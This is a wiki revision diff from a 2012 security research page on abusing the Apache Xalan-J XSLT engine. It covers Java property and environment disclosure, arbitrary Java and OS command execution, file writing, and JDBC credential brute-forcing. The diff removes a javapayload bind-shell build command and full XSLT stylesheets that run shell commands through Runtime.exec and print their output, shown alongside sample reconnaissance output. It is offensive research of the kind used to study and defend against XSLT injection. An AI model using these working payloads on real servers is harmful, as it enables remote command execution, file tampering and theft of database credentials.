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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 76.1 Icon
edited by Nicolas Gregoire
on 2012/01/17 12:02
Change comment: There is no comment for this version
To version Icon 65.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:47
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -1,26 +5,23 @@
1 -{{toc/}}
2 -
3 -= Introduction =
4 -
5 5  [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
6 6  
7 -= Supported version =
8 8  
4 +== Supported version ==
5 +
9 9  1.0
10 10  
11 -= Command line =
8 +== Command line ==
12 12  
13 13  $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl
14 14  
15 15  __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH
16 16  
17 -= Identification strings =
14 +== Identification strings ==
18 18  
19 19  |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
20 20  |=xsl:vendor|Apache Software Foundation
21 21  |=xsl:version|1.0
22 22  
23 -= Special features =
20 +== Special features ==
24 24  
25 25  * Java properties disclosure
26 26  * Java environment disclosure
... ... @@ -29,7 +29,7 @@
29 29  * File creation
30 30  * JDBC connectivity
31 31  
32 -= Java properties disclosure =
29 +== Java properties disclosure ==
33 33  
34 34  The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value.
35 35  
... ... @@ -36,7 +36,7 @@
36 36  |=Namespace|=Function|=PoC|=Sample output
37 37  |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
38 38  
39 -= Java environment disclosure =
36 +== Java environment disclosure ==
40 40  
41 41  The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
42 42  
... ... @@ -43,10 +43,8 @@
43 43  |=Namespace|=Extension function|=PoC|=Sample output
44 44  |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
45 45  
46 -= Java code execution =
43 +== Java code execution ==
47 47  
48 -== Basic Java calls ==
49 -
50 50  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
51 51  
52 52  |=Namespace|=Extension function|=PoC|=Sample output
... ... @@ -53,22 +53,11 @@
53 53  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
54 54  Wed Jan 11 22:45:07 CET 2012
55 55  
56 -== Executing arbitrary classes ==
51 +== OS command execution ==
57 57  
58 --- It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-( --
59 -
60 -{{warning}}
61 -TODO : javapayload => loading arbitrary byte code (aka classes) via reflection
62 -$> java javapayload.builder.Builder Template XalanJ.xsl bind-jsh-4444.xsl BindTCP 127.0.0.1 4444 - - JSh
63 -List supported payloads !
64 -Check supported versions of Xalan !
65 -{{/warning}}
66 -
67 -= OS command execution =
68 -
69 69  Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class.
70 70  
71 -== Command without output ==
55 +=== Command without output ===
72 72  
73 73  The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
74 74  
... ... @@ -77,31 +77,28 @@
77 77  
78 78  __Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
79 79  
80 -== Reading stdout ==
64 +=== Reading stdout ===
81 81  
82 -As the output have an unknown number of lines, we must use a __loop__ construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables, but the syntax is awful and error prone.
66 +As the output have an unknown number of lines, we must use a loop construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables (yeah !), but the syntax is awful and error prone.
83 83  
84 -It's far more efficient to 1) write loops using non-standard elements like <loop:while> and <loop:update> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT).
68 +It's far more efficient to 1) write loops using non-standard constructs 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT).
85 85  
86 -The following PoC will fetch some commands from a XML file, execute them (with bash or cmd.exe depending on the detected OS), read the standard output and display it. The file with a "lxsl" extension uses the non-standard <loop:*> elements and is far more readable than the "xsl" one.
70 +=== A pure Java reverse-shell ===
87 87  
88 -|=Using non standards elements|=Using recursion and templates|=Commands to execute|=Output
89 -|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]|[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]|[[unix_commands.xml>>attach:unix_commands.xml]]|[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]]
72 +It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-(
90 90  
91 -It is of course possible to include commands for multiples OS in one file and to execute only the relevant ones.
74 +== File creation ==
92 92  
93 -= File creation =
94 -
95 95  The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
96 96  
97 97  |=Namespace|=Extension element|=Parameter|=PoC
98 98  |http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
99 99  
100 -= JDBC connectivity =
81 +== JDBC connectivity ==
101 101  
102 102  It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
103 103  
104 -== Simple connection ==
85 +=== Simple connection ===
105 105  
106 106  The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
107 107  
... ... @@ -108,7 +108,7 @@
108 108  |=Namespace|=Extension function|=PoC
109 109  |org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
110 110  
111 -== Credentials brute-forcing ==
92 +=== Credentials brute-forcing ===
112 112  
113 113  The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
114 114  
Icon unixcommands.xml
Author
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1 -xwiki:XWiki.NicolasGregoire
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1 -<data>
2 -<command>id</command>
3 -<command>date</command>
4 -<command>ifconfig lo</command>
5 -<command>tree /var/cache/apt</command>
6 -<command>uname -a</command>
7 -</data>
8 -
Icon xalanj-reading-stdout.lxsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<?xml version="1.0"?>
2 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:j="http://xml.apache.org/xalan/java"
4 - xmlns:bufferedreader="xalan://java.io.BufferedReader"
5 - xmlns:inputstreamreader="xalan://java.io.InputStreamReader"
6 - xmlns:process="xalan://java.lang.Process"
7 - xmlns:runtime="xalan://java.lang.Runtime"
8 - xmlns:loop="http://informatik.hu-berlin.de/loop"
9 - exclude-result-prefixes="j"
10 - version="1.0">
11 -
12 - <!-- Configure the output -->
13 - <xsl:output method="text" />
14 - <xsl:strip-space elements="*" />
15 -
16 - <!-- Some variables -->
17 - <xsl:variable name="rt" select="runtime:getRuntime()"/>
18 - <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/>
19 - <xsl:variable name="unix_shell" select="'/bin/bash'"/>
20 - <xsl:variable name="unix_option" select="'-c'"/>
21 - <xsl:variable name="win_shell" select="'cmd.exe'"/>
22 - <xsl:variable name="win_option" select="'/C'"/>
23 - <xsl:variable name="delim" select="' -=DELIM=- '"/>
24 -
25 - <!-- The main template -->
26 - <xsl:template match="//command">
27 -
28 - <!-- Fetch from the XML file -->
29 - <xsl:variable name="command" select="text()"/>
30 -
31 - <!-- Check the underlying OS -->
32 - <xsl:variable name="tmp">
33 - <xsl:choose>
34 - <xsl:when test="contains($os, 'indows')">
35 - <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/>
36 - </xsl:when>
37 - <xsl:otherwise>
38 - <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/>
39 - </xsl:otherwise>
40 - </xsl:choose>
41 - </xsl:variable>
42 - <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/>
43 -
44 - <!-- Create the process and its streams -->
45 - <xsl:variable name="array" select="j:split($cmd, $delim)"/>
46 - <xsl:variable name="proc" select="runtime:exec($rt, $array)"/>
47 - <xsl:variable name="inputstream" select="process:getInputStream($proc)"/>
48 - <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
49 - <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
50 -
51 - <!-- Print the detected OS -->
52 - <xsl:text>OS [</xsl:text>
53 - <xsl:value-of select="$os"/>
54 - <xsl:text>] ...&#xA;</xsl:text>
55 -
56 - <!-- Print the executed command -->
57 - <xsl:text>Executing [</xsl:text>
58 - <xsl:value-of select="$command"/>
59 - <xsl:text>] ...&#xA;</xsl:text>
60 -
61 - <!-- Prepare the loop -->
62 - <xsl:variable name="cond" select="1" />
63 - <xsl:variable name="result" select="N/A" />
64 - <loop:while test="$cond">
65 -
66 - <!-- Read a line -->
67 - <loop:do>
68 - <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/>
69 - <xsl:variable name="class" select="j:toString(j:getClass($line))"/>
70 - <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/>
71 - <!-- Debug code
72 - <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>&#xA;</xsl:text>
73 - <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>&#xA;</xsl:text>
74 - -->
75 - </loop:do>
76 -
77 - <!-- Print the result -->
78 - <loop:last>
79 - <!-- Debug code
80 - <xsl:text>Result:</xsl:text>
81 - <xsl:text>&#xA;</xsl:text>
82 - -->
83 - <xsl:value-of select="$result"/>
84 - </loop:last>
85 -
86 - <!-- Update the global variables -->
87 - <loop:update name="cond" select="$continue"/>
88 - <loop:update name="result" select="concat($result, $line, '&#x0A;')"/>
89 -
90 - </loop:while>
91 - </xsl:template>
92 -</xsl:stylesheet>
93 -
Icon xalanj-reading-stdout.txt
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1 -OS [Linux] ...
2 -Executing [id] ...
3 -uid=1000(nic0b) gid=1000(nic0b) groupes=20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(nic0b)
4 -
5 -OS [Linux] ...
6 -Executing [date] ...
7 -jeudi 12 janvier 2012, 22:58:55 (UTC+0100)
8 -
9 -OS [Linux] ...
10 -Executing [ifconfig lo] ...
11 -lo Link encap:Boucle locale
12 - inet adr:127.0.0.1 Masque:255.0.0.0
13 - adr inet6: ::1/128 Scope:Hôte
14 - UP LOOPBACK RUNNING MTU:16436 Metric:1
15 - Packets reçus:7830 erreurs:0 :0 overruns:0 frame:0
16 - TX packets:7830 errors:0 dropped:0 overruns:0 carrier:0
17 - collisions:0 lg file transmission:0
18 - Octets reçus:1543564 (1.5 MB) Octets transmis:1543564 (1.5 MB)
19 -
20 -
21 -OS [Linux] ...
22 -Executing [tree /var/cache/apt] ...
23 -/var/cache/apt
24 -|-- apt-file
25 -| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid_Contents-i386.gz
26 -| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid-updates_Contents-i386.gz
27 -| `-- security.ubuntu.com_ubuntu_dists_lucid-security_Contents-i386.gz
28 -|-- archives
29 -| |-- lock
30 -| `-- partial
31 -|-- pkgcache.bin
32 -`-- srcpkgcache.bin
33 -
34 -3 directories, 6 files
35 -
36 -OS [Linux] ...
37 -Executing [uname -a] ...
38 -Linux testbox4 2.6.32-37-generic #81-Ubuntu SMP Fri Dec 2 20:35:14 UTC 2011 i686 GNU/Linux
39 -
40 -
Icon xalanj-reading-stdout.xsl
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1 -<?xml version="1.0" encoding="iso-8859-1"?>
2 -<!--
3 -
4 - File generated by translating loops into recursive template calls.
5 - XSLT Loop Compiler, Version 1.0
6 - GPL (c) O. Becker
7 -
8 - -->
9 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" xmlns:bufferedreader="xalan://java.io.BufferedReader" xmlns:inputstreamreader="xalan://java.io.InputStreamReader" xmlns:process="xalan://java.lang.Process" xmlns:runtime="xalan://java.lang.Runtime" xmlns:loop="http://informatik.hu-berlin.de/loop" exclude-result-prefixes="j" version="1.0">
10 -
11 - <!-- Configure the output -->
12 - <xsl:output method="text"/>
13 - <xsl:strip-space elements="*"/>
14 -
15 - <!-- Some variables -->
16 - <xsl:variable name="rt" select="runtime:getRuntime()"/>
17 - <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/>
18 - <xsl:variable name="unix_shell" select="'/bin/bash'"/>
19 - <xsl:variable name="unix_option" select="'-c'"/>
20 - <xsl:variable name="win_shell" select="'cmd.exe'"/>
21 - <xsl:variable name="win_option" select="'/C'"/>
22 - <xsl:variable name="delim" select="' -=DELIM=- '"/>
23 -
24 - <!-- The main template -->
25 - <xsl:template match="//command">
26 -
27 - <!-- Fetch from the XML file -->
28 - <xsl:variable name="command" select="text()"/>
29 -
30 - <!-- Check the underlying OS -->
31 - <xsl:variable name="tmp">
32 - <xsl:choose>
33 - <xsl:when test="contains($os, 'indows')">
34 - <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/>
35 - </xsl:when>
36 - <xsl:otherwise>
37 - <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/>
38 - </xsl:otherwise>
39 - </xsl:choose>
40 - </xsl:variable>
41 - <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/>
42 -
43 - <!-- Create the process and its streams -->
44 - <xsl:variable name="array" select="j:split($cmd, $delim)"/>
45 - <xsl:variable name="proc" select="runtime:exec($rt, $array)"/>
46 - <xsl:variable name="inputstream" select="process:getInputStream($proc)"/>
47 - <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
48 - <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
49 -
50 - <!-- Print the detected OS -->
51 - <xsl:text>OS [</xsl:text>
52 - <xsl:value-of select="$os"/>
53 - <xsl:text>] ...
54 -</xsl:text>
55 -
56 - <!-- Print the executed command -->
57 - <xsl:text>Executing [</xsl:text>
58 - <xsl:value-of select="$command"/>
59 - <xsl:text>] ...
60 -</xsl:text>
61 -
62 - <!-- Prepare the loop -->
63 - <xsl:variable name="cond" select="1"/>
64 - <xsl:variable name="result" select="N/A"/>
65 - <axslt:call-template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$cond"/><axslt:with-param name="result" select="$result"/></axslt:call-template>
66 - </xsl:template>
67 -<axslt:template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:param name="command"/><axslt:param name="tmp"/><axslt:param name="cmd"/><axslt:param name="array"/><axslt:param name="proc"/><axslt:param name="inputstream"/><axslt:param name="inputstreamreader"/><axslt:param name="bufferedreader"/><axslt:param name="cond"/><axslt:param name="result"/><axslt:choose><axslt:when test="$cond">
68 - <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/>
69 - <xsl:variable name="class" select="j:toString(j:getClass($line))"/>
70 - <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/>
71 - <!-- Debug code
72 - <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>&#xA;</xsl:text>
73 - <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>&#xA;</xsl:text>
74 - -->
75 - <axslt:call-template name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$continue"/><axslt:with-param name="result" select="concat($result, $line, '&#10;')"/></axslt:call-template></axslt:when><axslt:otherwise>
76 - <!-- Debug code
77 - <xsl:text>Result:</xsl:text>
78 - <xsl:text>&#xA;</xsl:text>
79 - -->
80 - <xsl:value-of select="$result"/>
81 - </axslt:otherwise></axslt:choose></axslt:template></xsl:stylesheet>
82 -